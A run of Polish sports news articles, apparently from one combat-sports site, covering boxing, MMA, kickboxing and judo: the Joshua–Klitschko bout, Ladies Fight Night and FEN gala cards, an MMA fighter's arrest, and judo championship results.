Na stadionie Wembley walkę będzie mogło obejrzeć 90 tys. kibiców. Pierwsza tura biletów ruszy już 16 grudnia. Wszyscy przewidują, że wejściówki rozejdą się niczym świeże bułeczki. Kolejnej tury należy spodziewać się w styczniu. Ceny biletów od 40 do 2 tys. funtów.

Na rozstrzygnięcie hitowego pojedynku czeka Deontay Wilder. Czempion WBC zapowiada, że będzie chciał spotkać się ze zwycięzcą wspomnianego starcia. Ostatnio Wilder pauzował z powodu kontuzji ręki. Kolejną walkę ma stoczyć w pierwszym kwartale 2017 roku. Dotychczas czterokrotnie bronił mistrzowskiego tytułu, zawsze zwyciężał przed czasem.

KM

Zestawienie walk na gali LFN „Fortuna Dies Natalis”!

 

I już prawie wszystko jasne. Podczas gali LFN „Fortuna Dies Natalis” swoje ringowe boje stoczy 18 zawodniczek z Polski, Niemiec, Czech, Finlandii, Francji, Litwy a nawet z dalekiej Brazylii. To zacne międzynarodowe towarzystwo skonfrontuje swoje umiejętności, talent oraz hart ducha w pięciu pojedynkach w formule MMA oraz w czterech w formule K-1. W pięknej zimowej scenerii, u stóp Śnieżki, na jubileuszowej gali organizacji Ladies Fight Night nie zabraknie wielu gwiazd LFN jak  Monika Bohn, Patrycja Krawczyk, Katarzyna Posiadała i Weronika Zygmunt. W walce wieczoru dojdzie do pojedynku pomiędzy Agnieszką Niedźwiedź a Samarą Santos Cunha.

Agnieszka Niedźwiedź to najlepsza polska zawodniczka MMA w wadze muszej oraz czołowa fighterka organizacji Invicta FC. Jej przeciwniczka, Brazylijka Samara Santos Cuhna ma świetny bilans 10-1-1, a ponadto jest „na fali” gdyż w czterech ostatnich pojedynkach odprawiała swoje rywalki w pierwszych rundach. Możemy spodziewać się twardej i wyrównanej potyczki na bardzo wysokim poziomie.

Gale Ladies Fight Night to nie tylko ringowe walki, publiczność dodatkowo rozgrzeją występy artystyczne. A muzycznymi gwiazdami wieczoru będą Sobota oraz Rena.

Galę poprowadzą niezawodni Łukasz „Juras” Jurkowski oraz Krzysztof „Jankes” Jankowski.

Na widowni nie zabraknie znanych i lubianych gości ze świata sportu, filmu i nie tylko jak np. Patryk Vega, Piotr Stramowski, Tomasz Oświeciński, Mikołaj Krawczyk, Bracia Collins, Ewa Lubert, Katarzyna Lubońska, Karolina Kowalkiewicz, Paweł Pawlak, Marcin Wrzosek, Kamil Szymuszowski, Bartek Kurczewski, Łukasz Zaborowski.

A transmisja live gali do obejrzenia już 17 grudnia od godz. 19.00 na naszej stronie internetowej oraz na facebooku organizacji. Kometować będą Piotr Strus oraz Artur „Kornik” Sowiński.

 

A w kolejnych starciach wieczoru zmierzą się:

kat. 57 kg – formuła MMA

Katarzyna Biegajło (0-0-0) [PL] vs Natalia Baczyńska(0-0-0) [PL]

kat. 56 kg – formuła K-1

Małgorzata Dymus (3-3-0) [PL] vs Daniela Graf (23-5-1) [GER] 

kat. 60 kg – formuła MMA

Katarzyna Sadura (2-1-0) [PL] vs Clemence Schreiber (3-6-0) [FR]

kat. 56 kg – formuła K-1

Patrycja Krawczyk [PL] (6-0-0) vs Erika Rinne (0-0-0) [FIN]

kat. 52 kg – formuła MMA

Weronika Zygmunt [PL] (3-2-0) vs Magdalena Sormova (3-0-0) [CZ]

kat. 52 kg – formuła K-1

Monika Bohn [PL] (2-2-0) vs Magdalena Kasprzyk (1-2-0) [PL]

kat. 66 kg – formuła MMA

Martyna Czech [PL] (3-1-0) vs Laura Ciulkeviciute (2-0-0 rekord semi-pro) [LIT]

kat. 61 kg – formuła K-1

Katarzyna Posiadała [PL] (3-1-0) vs Lucia Mudrochova (18-2-0) [CZ]

A w walce wieczoru:

kat. 58 kg – formuła MMA

Agnieszka Niedźwidź [PL] (8-0-0) vs Samara Santos Cunha (10-1-1) [BR]

Czołowy polski zawodnik MMA zatrzymany

We wtorek, 13 grudnia, Centralne Biuro Policji zatrzymało byłego mistrza KSW Michała M. Według najnowszych doniesień, usłyszał zarzuty i najbliższe trzy miesiące spędzi w areszcie.

Ta wiadomość zelektryzowała całą sportową Polskę. Chodzi przecież o jednego z najbardziej rozpoznawalnych i utytułowanych zawodników MMA w kraju. Warto dodać, że oprócz Michała M., policja zatrzymała ponad 20 osób na terenie trzech województw.

Usłyszał zarzuty

13 grudnia, godz. 6.00. Funkcjonariusze CBŚ przy użyciu materiałów wybuchowych i granatów hukowych, wkroczyli do mieszkania 32-letniego Michała M. Cała sytuacja rozgrywała się w obecności żony i dzieci zawodnika. Manager M., Norbert Sawicki, w rozmowie z portalem GS.pl24 zwracał uwagę na drastyczny charakter zdarzenia i zastosowanie nieadekwatnych do sytuacji środków. Obrońcą Michała M. jest mecenas Jakub Łysakowski. Sprawę byłego mistrza wagi średniej KSW prowadzi Prokuratura Okręgowa w Poznaniu.

Sytuacja jest niezwykle dynamiczna, jednak jedno jest pewne – wszyscy przeżyli ogromne zaskoczenie. Oliwy do ognia dolało postawienie Michałowi M. zarzut udział w grupie przestępczej. Zawodnik spędzi w areszcie co najmniej trzy miesiące.

Oświadczenie KSW

Michał M. jest jedną z gwiazd KSW. Organizacja zajęła stanowisko w sprawie zatrzymania zawodnika. – W związku z ostatnimi doniesieniami medialnymi w sprawie zatrzymania Michała Materli przez funkcjonariuszy Centralnego Biura Śledczego, oświadczamy, że KSW zajmie stanowisko w tej sprawie w momencie podania przez organy państwowe do wiadomości publicznej informacji nt. powodów zatrzymania oraz ewentualnego prawomocnego wyroku sądu – czytamy w oświadczeniu KSW.

Przedstawiciele federacji podkreślają znaczenie Michała M. dla środowiska MMA. Jednocześnie zwracają uwagę, że za wcześnie, aby wyciągać daleko idące wnioski – Mamy też świadomość, że dla wielu wojowników sport stał się nową, lepszą drogą, dzięki której wyszli z trudnych życiowych sytuacji – dlatego z zasady nie skreślamy nikogo, kto naprawił swoje błędy i uregulował sytuację prawną, za przeszłość.  Jednocześnie, w KSW nie ma i nie będzie miejsca na naruszanie prawa. I w tym zakresie KSW nie będzie stosowało taryfy ulgowej wobec kogokolwiek. Czy w tym przypadku prawo zostało złamane, zdecyduje sąd i jego prawomocny wyrok – podało KSW.

Udany rok…

32-latek pochodzący ze Szczecina w tym roku stoczył dwie walki dla KSW. W obu stronach pokazał się z dobrej strony i zrehabilitował się za zeszłoroczną porażkę z Mamedem Khalidovem, w której stracił pas wagi średniej.

W ostatnim pojedynku efektownie rozprawił się z Rousimarem Palharesem.

KM

Ruszyła sprzedaż biletów na FEN 16 Warsaw Reloaded

FEN 16 Warsaw Reloaded – pod taką nazwą federacja Fight Exclusive Night zorganizuje 11 marca na Torwarze swoją drugą przyszłoroczną galę MMA i K-1. Bilety na to wydarzenie można już kupować w serwisach Eventim.pl oraz KupBilet.pl.

Karta walk gali FEN 16 Warsaw Reloaded będzie wyjątkowo mocna – wiosną na Torwarze wystąpi czołówka polskich zawodników MMA i K-1 oraz świetni fighterzy zza granicy. W walce wieczoru ponownie zobaczymy jednego z najlepszych piórkowych europejskiego MMA, niepokonanego od blisko czterech lat Kamila „Bombę” Łebkowskiego (15-4), który postara się do jedenastu przedłużyć swoją imponującą serię zwycięstw z rzędu. W Warszawie wystąpią również aktualni mistrzowie organizacji w tej formule – Francuz Davy Gallon (15-5-2), posiadacz pasa w kategorii półśredniej, oraz Przemysław „Polish Bear” Mysiala (20-9-1), zdobywca tytułu w wadze półciężkiej.

Kibiców czekają także pojedynki MMA z udziałem byłego fightera UFC Pawła „Plastinho” Pawlaka (11-3), Marcina Naruszczki (17-5-1), który od października 2015 roku wygrał pięć kolejnych walk, oraz Pawła Żelazowskiego (9-2), który na poprzednich galach FEN odniósł dwa efektowne zwycięstwa przed czasem. Trzeci raz w Fight Exclusive Night walczyć będzie też jeden z największych showmanów organizacji, zdobywca Pucharu Europy WAKO w K-1, Pucharu Europy WAKO w kickboxing low-kick i złotego medalu Polish Open – Marcin Szreder (4-1).

Bilety na FEN 16 Warsaw Reloaded można już kupować online w serwisach Eventim.pl oraz KupBilet.pl, a także u zawodników walczących na gali. Zamówienia na bilety VIP oraz zamówienia grupowe można składać pod numerem tel. 601 877 229.

FEN 16 Warsaw Reloaded to drugie zawody Fight Exclusive Night w Warszawie. Poprzednia, stojąca na bardzo wysokim poziomie gala FEN 11 Warsaw Time zgromadziła na trybunach Torwaru komplet publiczności. Kibice obejrzeli wówczas m.in. fantastyczną walkę o pas Romana Szymańskiego z Marianem Ziółkowskim, efektowne zwycięstwa przez TKO Tyberiusza Kowalczyka z Akopem Szostakiem i Marcina Naruszczki z Rafałem Haratykiem oraz zakończony ekstra rundą zacięty pojedynek Arkadiusza Wrzoska z Niko Falinem. Sądząc po już ogłoszonych nazwiskach, wiosną 2017 roku fanów sportów walki czeka w stolicy równie emocjonujące widowisko.

FEN

Dwie wojskowe mistrzynie

Za nami Wojskowe Mistrzostwa Świata w szwajcarskiej miejscowości Uster. Polacy zakończyli rywalizację z dorobkiem sześciu medali, w tym dwóch złotych. Z tytułem najlepszych „wojskowych” judoczek wracają Arleta Podolak (57kg) i Agata Ozdoba (63kg).

Ciężki sezon na tatami zakończył się wraz z turniejem Grand Slam w Tokio, jednak nie dotyczyło to wszystkich. Judocy w mundurach musieli udać się do Szwajcarii. Naszą kadrę na mistrzostwach świata reprezentowało siedmioro zawodników.

Rozłożyły wszystkich na łopatki

Arleta Podolak (57kg) i Agata Ozdoba (63kg) z ogromną energią przystąpiły do rywalizacji w Uster. Niczym rozpędzone żywioły pokonywały wszystko, co napotkały na swojej drodze. W tym przypadku chodzi o kolejne rywalki. Podolak i Ozdoba wygrały po sześć walk, co dało im triumf w wojskowych mistrzostwach świata. 

Dla 23-letniej judoczki to kolejny tegoroczny sukces. Podolak wystąpiła w Igrzyskach Olimpijskich w Rio de Janeiro, a także wygrywała turnieje w Warszawie i Ałmatach. W „mundurze” zdobywała medal w drużynie. Ma na koncie srebro światowych wojskowych igrzysk sportowych, brąz mistrzostw Europy, do których dołożyła brąz w Szwajcarii. Również Ozdoba ma na swoim koncie „wojskowe” zdobycze. W 2015 roku sięgnęła po wicemistrzostwo świata i srebro światowych wojskowych igrzysk sportowych. 

Po raz pierwszy w Wojskowych Mistrzostwach Świata zaprezentowała się Karolina Pieńkowska (52kg). Młodzieżowa mistrzyni Europy z 2015 roku była o krok od triumfu. Lepsza od Polki była tylko Julia Ryzhova z Rosji. Pieńkowska wygrała cztery walki i zakończyła rywalizację ze srebrnym medalem.

Brązowe medale wywalczyli Kinga Kubicka (48kg) oraz Łukasz Błach (81kg). 32-letnia Polka wygrała jedną walkę i mogła cieszyć się z miejsca na podium. Z kolei Błach triumfował w trzech pojedynkach. Poza podium, na 5. pozycjach, uplasowały się Karolina Tałach (63kg) i Daria Pogorzelec (70kg).

Mocna drużyna

Reprezentacja Polski kobiet pokazała, że jest niezwykle mocna. W tegorocznych mistrzostwach Europy w Kazaniu biało-czerwone sięgnęły po złoto. Z kolei w Szwajcarii „nasze wojskowe”, z których część miała w pamięci start w Rosji, wywalczyły brąz. Polki wygrały z Austrią i Francją po 4:1. Lepsze od naszej kadry okazały się Rosjanki i Chinki. Pierwszoplanowymi postaciami w rywalizacji drużynowej były Arleta Podolak i Agata Ozdoba, które wygrały po trzy pojedynki.

W Uster Polacy poprawili wynik sprzed trzech lat. Z Astany przywieźli trzy medale, teraz podwoili dorobek. 

Fot. EJU

KM

Polak w europejskich strukturach judo

Wiesław Błach znalazł się we władzach Europejskiej Unii Judo. 54-letni będzie piastował stanowisko dyrektora sportowego. W Atenach odbył się kongres europejskiej centrali, zgromadzeni mieli okazję nieco bliżej poznać Warszawę.

Nie da się ukryć, że instytucje międzynarodowe mają ogromny wpływ na funkcjonowanie poszczególnych państw. Członkowie Unii Europejskiej muszą wdrażać na swoim terenie prawo ustanowione przez poszczególne organy wspólnoty. Podany przykład pokazuje pewien schemat działania. W świecie sportu sytuacja ma się podobnie. Nominacja dla Wiesława Błacha to docenienie polskiego środowiska judo oraz jasny sygnał, że w naszym kraju nie brak osób kompetentnych do pełnienia wysokich stanowisk.

Czas na Europę  

54-letni Błach oddał judo całe serce. Przed laty fantastycznie prezentował się na tatami, czego najlepszym potwierdzeniem jest brązowy medal mistrzostw świata w kategorii 71kg zdobyty w Seulu w 1985 roku. Dwa lata później Polak sięgnął po mistrzostwo Europy. Na swoim koncie ma także starty na Igrzyskach Olimpijskich: Seul 1988 i Barcelona 1992. Po zakończeniu kariery zawodniczej, Błach realizował się jako trener. Z sukcesami prowadził AZS AWF Wrocław, w barwach którego po medale mistrzostw kraju sięgały m.in. Beata Maksymow i Anita Kubica. Mistrz Europy z Paryża dostąpił zaszczytu prowadzenia reprezentacji kobiet. Pod jego wodzą srebro na Igrzyska Olimpijskich w Atlancie w 1996 roku zdobyła Aneta Szczepańska. Błach prowadził również męską kadrę oraz pracował w Belgii. 

W grudniu 2008 roku Błach został prezesem Polskiego Związku Judo. Po czterech latach ponownie wybrano go na to stanowisko, jednak okazało się, że w sposób wadliwy. W związku z tym w listopadzie 2014 roku do związku wprowadzono kuratora. Na nadzwyczajnym kongresie wyborczym nowym prezesem został Sławomir Kownacki. Błach nie ubiegał się o fotel. Za jego pierwszej kadencji trudno mówić o sukcesach, jednak kolejne lata to przebudzenie w polskim judo. Brąz kadry kobiet w Montpellier czy trzecie miejsce Katarzyny Kłys na mistrzostwach świata w Czelabińsku były optymistycznymi akcentami.

Po przygodach na krajowym podwórku, 54-letni Błach znalazł się w Europejskiej Unii Judo. Stanowisko dyrektora sportowego to nowe doświadczenie, ale i możliwości. Błach będzie przecierał szlaki innym rodakom, bo jako pierwszy Polak dostąpił zaszczytu zasiadania na tak wysokim szczeblu w europejskiej hierarchii. Dotychczas posadę dyrektora sportowego piastował Alexander Jatskevich, któremu teraz przypadły sprawy sędziowskie. Prezesem Europejskiej Unii Judo nadal będzie Sergey Soloveychik. 

Teraz Warszawa

Podczas kongresu europejskich władz judo w Atenach miała miejsce oficjalna prezentacja Warszawy. Już za kilka miesięcy w stolicy Polski pojawią się najlepsi judocy ze Starego Kontynentu, którzy powalczą o medale mistrzostw Europy. Impreza odbędzie się w dniach 20-23 kwietnia. Warto przypomnieć, że Polska wygrała rywalizację o organizację turnieju z Niemcami.

Europejski czempionat po raz kolejny zawita do naszego kraju. W 1994 roku mistrzostwa odbyły się w Gdańsku, a sześć lat później we Wrocławiu.

KM

Rumun chce wrócić

Ciągnie wilka do lasu. Niejeden wojownik mimo rozłąki ze sportami walki zdecydował się na powrót na arenę. Po raz ostatni Daniela Ghitę można było obserwować ponad dwa lata temu. Rumuński kickboxer rozważa powrót do rywalizacji.

35-letni Ghita zapisał bogatą kartę w wadze ciężkiej. Miłośnicy kickboxingu mogli go podziwiać na galach takich organizacji It's Showtime i Glory. Czy ponownie zobaczymy go w akcji?

Długa przerwa

Przez lata piął się w światowej hierarchii kickboxingu aż w końcu dotarł na sam szczyt. Wielki, blisko 2-metrowy i ważący ponad 100 kg, zawodnik zyskał sympatię publiczności, gdyż zawsze dawał z siebie maksimum i prezentował się efektownie. Na szerokie wody Ghita wypłynął dzięki dobrej postawie w rumuńskiej organizacji Local Kombat. Znaczącym osiągnięciem Rumuna jest wywalczenie mistrzostwa Europy WKN w boksie tajskim w 2005 roku. W finale Ghita pokonał Mourada Bouzidiego.

Imponował skutecznością. Podczas kolejnych występów na galach Local Kombat odprawiał rywali przed czasem. W końcu spróbował swoich sił w K-1. Na gali Fighting Network Rumunia 2007 pokonał Nobu Hayashiego. Wielki świat stanął przed Ghitą otworem w 2009 roku, kiedy dostał szansę występu w turnieju kwalifikacyjnym K-1 World Grand Prix w Tokio. Rumun niczym huragan przeszedł przez japoński turniej i pokonał trzech rywali. Potrzebował na to nieco ponad pięć minut. We wrześniowym final 16 nie zdołał znaleźć recepty na mocnego Semmy'ego Schilta. Później występował na galach Showtime. W 2010 roku wygrana z Errolem Zimmermanm, którego znokautował prawym prostym dała mu awans do finału K-1 World Grand Prix. 

Znakomity w wykonaniu Ghity był rok 2012. Rumuński kickboxer wygrał osiem walk, poniósł zaledwie jedną porażkę. Kibice czekali na jego pojedynki, bo gwarantował widowisko. Nie potrafił znaleźć recepty na Semmy'ego Schilta i Gokhana Sakiego, z którymi przegrywał dwukrotnie. Ostatnie zwycięstwo odniósł w grudniu 2014 roku. W zaledwie 35 sekund uporał się z Errolem Zimmermanem. Na ostatniej prostej swojej kariery dwukrotnie przegrał z Rico Verhoevenem. W obu przypadkach przez decyzję sędziów. To może być jeden z powodów, dla których 35-latek chce wrócić.   

Konflikt gwiazd

Trudno powiedzieć, że Ghita i Verhoeven darzą się sympatią. Po pierwsze, Rumun przegrał z Holendrem dwukrotnie, jednak trudno jednoznacznie potwierdzić zdecydowaną wyższość obecnego mistrza Glory w wadze ciężkiej. Po drugie, Verhoeven niepochlebnie wyrażał się o rywalu. Swego czasu nazwał go „rumuńskim Cyganem”. Ghita nie pozostał dłużny i stwierdził, że Holender jest pupilem włodarzy Glory i dlatego jest posiadaczem pasa.

Powrót Ghity zapowiada się niezwykle ciekawie. Wstępne deklaracje jeszcze nic nie przesądzają. Pojawiają się pytania o potencjalnych rywali i organizację, dla której miałby walczyć. Z pewnością 35-latek gwarantowałby wysoki poziom. W 61 walkach zanotował aż 50 zwycięstw. To wystawia mu najlepsze świadectwo jego umiejętności.

KM

Harth nie zagroził Włodarczykowi

Trzecie zwycięstwo w tegorocznych występach zanotował Krzysztof „Diablo” Włodarczyk. We Wrocławiu były mistrz świata WBC wagi junior ciężkiej pokonał na punkty Leona Hartha.

Ormiański Niemiec stanął przed szansą wywalczenia należącego do Włodarczyka pasa IBF Inter-Continental. Dla 28-letniego Hartha była to spora szansa, jednak nie udźwignął stawki rywalizacji.

Bez rewelacji

Włodarczyk konsekwentnie idzie do przodu. Powszechnie wiadomo, że 35-letniemu „Diablo” przyświeca cel ponownego wejścia na szczyt. We wrześniu 2014 roku utracił pas WBC wagi junior ciężkiej na rzecz Grigorija Drozda. Polak wrócił na ring po półrocznej przerwie. Wiadomo było, że potrzebuje czasu na odbudowę. Szybko uporał si z Valery'm Brudowem i Kaiem Kurzawą. Miał walczyć z Olanrewaju Durodolą, jednak gala w Krakowie została odwołana. Udało się jednak zakontraktować kolejny pojedynek. Leon Harth rysował się jako solidny rywal, który większość pojedynków (10 z 14) wygrał przed czasem. Poniósł tylko jedną porażkę. Zapewniał, że jest gotowy na rywalizację z Włodarczykiem, którą rozpatrywał w kategorii wyzwania, a zwycięstwo miało stanowić dla niego krok naprzód.

Wiadomo, że Polak górował nad Niemcem doświadczeniem. Pojedynek rozpoczął się spokojnie, obaj pięściarze postawili na stopniowe rozpoznanie swoich możliwości. Harth wyrwał się z prawym sierpowym, jednak nic więcej od siebie nie dodał. Co warto podkreślić, z obu stron groźnych ciosów było niewiele. Włodarczyk parł do przodu, jednak efektów brakowało. „Diablo” zbierał punkty, ale walka nie porywała. Ormianin z niemieckim paszportem nie grzeszył aktywnością i często stopował pojedynek. Zdarzało się, że wyprowadził cios, ale nie potrafił przebić się przez gardę Polaka. Wraz z upływem czasu widać było, że Harth słabnie. 28-latek postawił na defensywę, co otwierało szansę przed Włodarczykiem. Były mistrz świata nie zachwycił, ale zrobił na tyle dużo, żeby sędziowie mogli jednogłośnie przyznać mu zwycięstwo. 116:112, 115:113 i 116:112 dla Włodarczyka.

Mówiło się, że wygrana przybliży „Diablo” do walki o mistrzostwo świata. Polak odniósł 52. zwycięstwo w zawodowej karierze. Akcje byłego mistrza świata poszły w górę. W przyszłym roku Włodarczyk może powalczyć o najwyższe cele.

Triumf Cieślaka

Piętnaste zwycięstwo w karierze zapisał na swoim koncie Michał Cieślak. We Wrocławiu 27-latek pokonał Nikodema Jeżewskiego i sięgnął po tytuł mistrza Polski w wadze junior ciężkiej. Od początku obaj pięściarze byli aktywni, jednak w drugiej rundzie zaznaczyła się przewaga Cieślaka. Jeżewski miał coraz mniej do powiedzenia. Mimo to, w trzeciej rundzie zaskoczył Cieślaka, który był liczony. Po chwili sytuacja odwróciła się. Prawy sierpowy Cieślaka i Jeżewski znalazł się w tarapatach. Sędzia przerwał pojedynek. Nie obyło się bez gwizdów, bo 27-latek trafił rywala w tył głowy, kiedy ten osunął się po ciosie.

W wadze supr półśredniej pewne zwycięstwo Przemysława Runowskiego, który jednogłośnie na punkty pokonał Mykolę Vovka. Swoje pojedynki wygrali również Przemysław Zyśk i Marek Matyja. Drugą porażkę w karierze zanotował Konrad Dąbrowski. 22-latek rywalizujący w kategorii lekkiej przegrał na punkty z Nadzirem Bakhshyieu.

KM

Łebkowski, Naruszczka i Szreder na gali FEN 16 na Torwarze

Niepokonany od blisko czterech lat Kamil Łebkowski, kroczący od zwycięstwa do zwycięstwa Marcin Naruszczka i jeden z największych showmanów federacji Marcin Szreder – to kolejni zawodnicy dopisani do karty walk gali FEN 16, która odbędzie się 11 marca na Torwarze w Warszawie.

Walka Kamila Łebkowskiego (15-4), który w Fight Exclusive Night debiutował podczas FEN 13 Summer Edition, nie dając żadnych szans byłemu zawodnikowi UFC Piotrowi Hallmannowi, będzie main eventem gali w Warszawie. Z kim „Bomba”, zaliczany do ścisłej czołówki wagi piórkowej w Polsce, powalczy o jedenaste zwycięstwo z rzędu? Tego jeszcze nie wiadomo – nazwisko jego rywala poznamy najwcześniej na początku przyszłego roku.

Podczas stołecznej gali kibiców czeka także pojedynek z udziałem będącego w świetnej formie Marcina Naruszczki (17-5-1), który od października 2015 roku wygrał 5 walk z rzędu, pokonując m.in. Rafała Haratyka i Matta Horwicha. Po raz trzeci w klatkoringu FEN wystąpi też weteran K-1 Marcin Szreder (4-1), który w poprzednich walkach – obu na pełnym dystansie – pewnie wygrał z Aytakiem Yahsim i minimalnie przegrał z Arturem Bizewskim.

Wcześniej włodarze Fight Exclusive Night zdradzili, że na Torwarze wystąpią aktualni mistrzowie organizacji w formule MMA – Francuz Davy Gallon (15-5-2), posiadacz pasa w kategorii półśredniej, oraz Przemysław Mysiala (20-9-1), zdobywca tytułu w wadze półciężkiej. Zaplanowane zostały też walki z udziałem byłego fightera UFC Pawła Pawlaka (11-3) oraz Pawła Żelazowskiego (9-2), który na poprzednich galach FEN odniósł dwa efektowne zwycięstwa przed czasem.

Gala FEN 16 to drugie wydarzenie Fight Exclusive Night w Warszawie. Poprzednie, stojące na bardzo wysokim poziomie zawody federacja zorganizowała w tej samej stołecznej hali w marcu tego roku, wypełniając trybuny do ostatniego miejsca. Sądząc po już ogłoszonych nazwiskach, wiosną 2017 roku kibiców MMA i K-1 czeka na Torwarze równie emocjonujące widowisko.

Sprzedaż biletów na galę FEN 16 za pośrednictwem serwisów Eventim.pl i KupBilet.pl rozpocznie się już w najbliższych dniach.

FEN

Wojownicy wejdą na arenę

Mroźna aura sprawia, że poszukujemy źródeł ciepła. Z pewnością mistrzostwa Polski w kickboxingu w formule oriental rules w Starachowicach rozgrzeją wszystkich kibiców do czerwoności. Impreza odbędzie się w dniach 9-11 grudnia. Transmisję na żywo będzie można śledzić w telewizji FighTime. Zapraszamy!

Oriental rules, czyli efektowne kopnięcia, uderzenia łokciami i kolanami oraz ogromna siła. Takie widowisko musi przyciągać i budzić ciekawość. Wszyscy czekają na efektowne pojedynki.

Coraz więcej chętnych

Hala miejska przy ul. Jana Pawła 22 w Starachowicach czeka już na zawodników. Rejestracja ruszy w piątek (9 grudnia) o godz. 16.00, a walki eliminacyjne zaplanowano na sobotę (10 grudnia). Początek o godz. 9.00. Zapowiada się cały dzień z oriental rules, a decydujące rozstrzygnięcia zapadną w niedzielę. Wtedy odbędą się półfinały i finały.

Starachowice ponownie będą gospodarzem mistrzostw Polski w oriental rules. W zeszłym roku w imprezie wystąpiło ponad 80 zawodników i zawodniczek. Tym razem należy się spodziewać 131 wojowników. Warto dodać, że 14 zawodników wystartuje w zmaganiach kick-light amatorów. W oriental rules do walki o medale szykuje się 117 osób, w tym 12 kobiet. Wychodzi na to, że rok temu Starachowice dobrze wywiązały się z organizacji mistrzostw i teraz zbierają tego owoce. – To kolejna impreza, za którą odpowiadamy. Po raz drugi przygotowujemy mistrzostwa Polski oriental rules. Robimy wszystko, żeby impreza była udana i stała na wysokim poziomie sportowym – mówi FighTime.pl Marek Jasiński, trener Dragona Starachowice i organizator imprezy. – Fakt, że do udziału zgłosiło się więcej zawodników niż rok temu jest dowodem na zwiększenie zainteresowania – dodaje.

Wiadomo, że dla kibiców liczą się przede wszystkim widowiskowe walki. O poziom sportowy zadbają zawodnicy z czołowych polskich klubów. Najwięcej przedstawicieli wystawi Dragon Starachowice – 10. Akademia Sportów Walki Knockout Zielona Góra będzie pośle do boju 8 zawodników, a KGHM Metraco Armia Polkowice oraz Husaria Drutex Słupsk po 7. Drugą stroną medalu jest organizacja imprezy, która ma stać na wysokim poziomie. – Robimy wszystko, żeby wyglądało to jak najlepiej. Postawiliśmy na dobrą promocję. Mimo, że są to zawody amatorskie, będą wyglądały profesjonalnie. Pojawi się rampa oświetleniowa, a mistrzostwa będą transmitowane w telewizji – wyjaśnia Jasiński.

Na co liczy gospodarz?

W starachowickiej hali trwają ostatnie przygotowania. Organizatorzy chcą, żeby wszystko było dopięte na ostatni guzik. Z kolei zawodnicy Dragona Starachowice skupiają się i przygotowują do rywalizacji. Jaki wynik będzie satysfakcjonujący? – Jeśli wywalczymy 4-5 medali, uznam to za satysfakcjonujący wynik – przedstawia trener starachowickiego teamu.

KM

Dogadali się! W kwietniu Joshua vs Kliczko

To wisiało w powietrzu i w końcu stało się faktem. Anthony Joshua zmierzy się z Władimirem Kliczko na stadionie Wembley. Walkę zaplanowano na 29 kwietnia.

Spotkają się dwa bokserskie światy, które dzieli wiele. Joshua i Kliczko mają zupełnie różne doświadczenia, są na różnych etapach przygody z ringiem. Jedno jest pewne: obaj się klasowymi pięściarzami.

Show bez show

Mistrzowska walka w kategorii królewskiej jest ogromnym wydarzeniem. W tym przypadku spotkają się bokserzy, dla których ważny jest ring. Przez lata Władimir Kliczko zapracował na miano zrównoważonego, spokojnego, pewnego siebie, a przede wszystkim w pełni profesjonalnego pięściarza. Bez wątpienia jego dorobek mówi sam za siebie, jednak Ukrainiec ma klasę i potrafi podejść z szacunkiem do każdego rywala. Jest twardy, więc nie wzruszają go żadne prowokacje ze strony rywali. O Kliczko można mówić wiele i w samych superlatywach, choć stracił swój dorobek w starciu z Tysonem Fury'm. Mimo to, trzeba Ukraińcowi oddać, że przez dziesięć lat nie znalazł pogromcy i zdominował wagę ciężką.

Wydaje się, że z lepszej pozycji startuje Anthony Joshua. Świat leży u jego stóp i tylko od niego zależy, czy wykorzysta swoją szansę. Doświadczenia ostatnich miesięcy pokazują, że nie wszyscy są w stanie poradzić sobie z sukcesem. Mowa oczywiście o Fury'm, który zrzekł się pasów WBO i WBA, czym otworzył furtkę do nowego rozdania w kategorii królewskiej. 

Na szczycie stopniowo przebija się Joshua. Brytyjczyk coraz częściej zaczął się pojawiać na ustach komentatorów, bo odprawiał kolejnych bokserów z kwitkiem. Jeszcze nigdy nie walczył na pełnym dystansie. Początkowo patrzono na niego z przymrużeniem oka. Walczył u siebie, wygrywał z mało znanymi rywalami, ale położył Raphaela Zumbano Love i w końcu Kevina Johnsona. Dostał szansę walki o pas IBF i szybko odprawił Charlesa Martina. Młodość, siła, fantazja i co najważniejsze – głowa na właściwym miejscu. Nie widać, aby myśli 27-latka zaprzątało coś innego niż boks.

Emocje czy szachy?

Na stadionie Wembley legenda boksu spotka się ze wschodzącą gwiazdą i ogromnym talentem. Nie będzie zbędych pyskówek i utarczek. W tym przypadku chodzi o walkę i sportowe emocje, choć w ringu można spodziewać się również partii szachów. Jeśli Kliczko przegra, będzie to sygnał, że jego czas dobiega końca. Triumf Joshuy będzie jego sukcesem i potwierdzeniem aspiracji, a po porażce będzie miał czas, żeby się odkuć.

Najpierw Molina

Ukrainiec z utęsknieniem czeka na najbliższą walkę. Po raz ostatni zaprezentował się ponad rok temu, kiedy stracił pasy. 

10 grudnia w Manchesterze Joshua musi pokonać Erica Molinę. Będzie to jego osiemnasta walka w karierze. Porażka 27-latka mogłaby pokrzyżować plany, jednak nikt nie zakłada takiego scenariusza. Obozy obu pięściarzy porozumiały się, co do pojedynku, który ma odbyć się 29 kwietnia na stadionie Wembley. Czy trybuny oszaleją?

KM

Szwarnowiecki tuż za podium

Damian Szwarnowiecki był o krok od wywalczenia brązowego medalu podczas turnieju Jigoro Kano Grand Slam w judo. W decydującej walce lepszy od Polaka okazał się reprezentant Rosji Aslan Lappinagov.

Turniej w Tokio wieńczą tegoroczne zmagania. Zawodnik Gwardii Wrocław, choć nie pojechał na Igrzyska Olimpijskie do Rio de Janeiro,  może być zadowolony ze swojej postawy.

Zmiana kategorii

Jesienne występy Szwarnowiecki rozpoczął w wyższej kategorii wagowej – 81kg. Premierowy występ okazał się niezwykle udany dla polskiego judoki, który we wrześniowym Pucharze Europy w Tallinie zajął trzecie miejsce. Sukces powtórzył w kolejnym starcie. Turniej Grand Prix w Zagrzebiu układał się po myśli Szwarnowieckiego, który wygrał trzy walki, jednak w czwartej lepiej dysponowany okazał się Laszlo Csoknyai. 22-latek z Wrocławia poradził sobie w repasażach, a w starciu o brąz spotkał się z Jakubem Kubieńcem. Brąz dla Szwarnowieckiego.

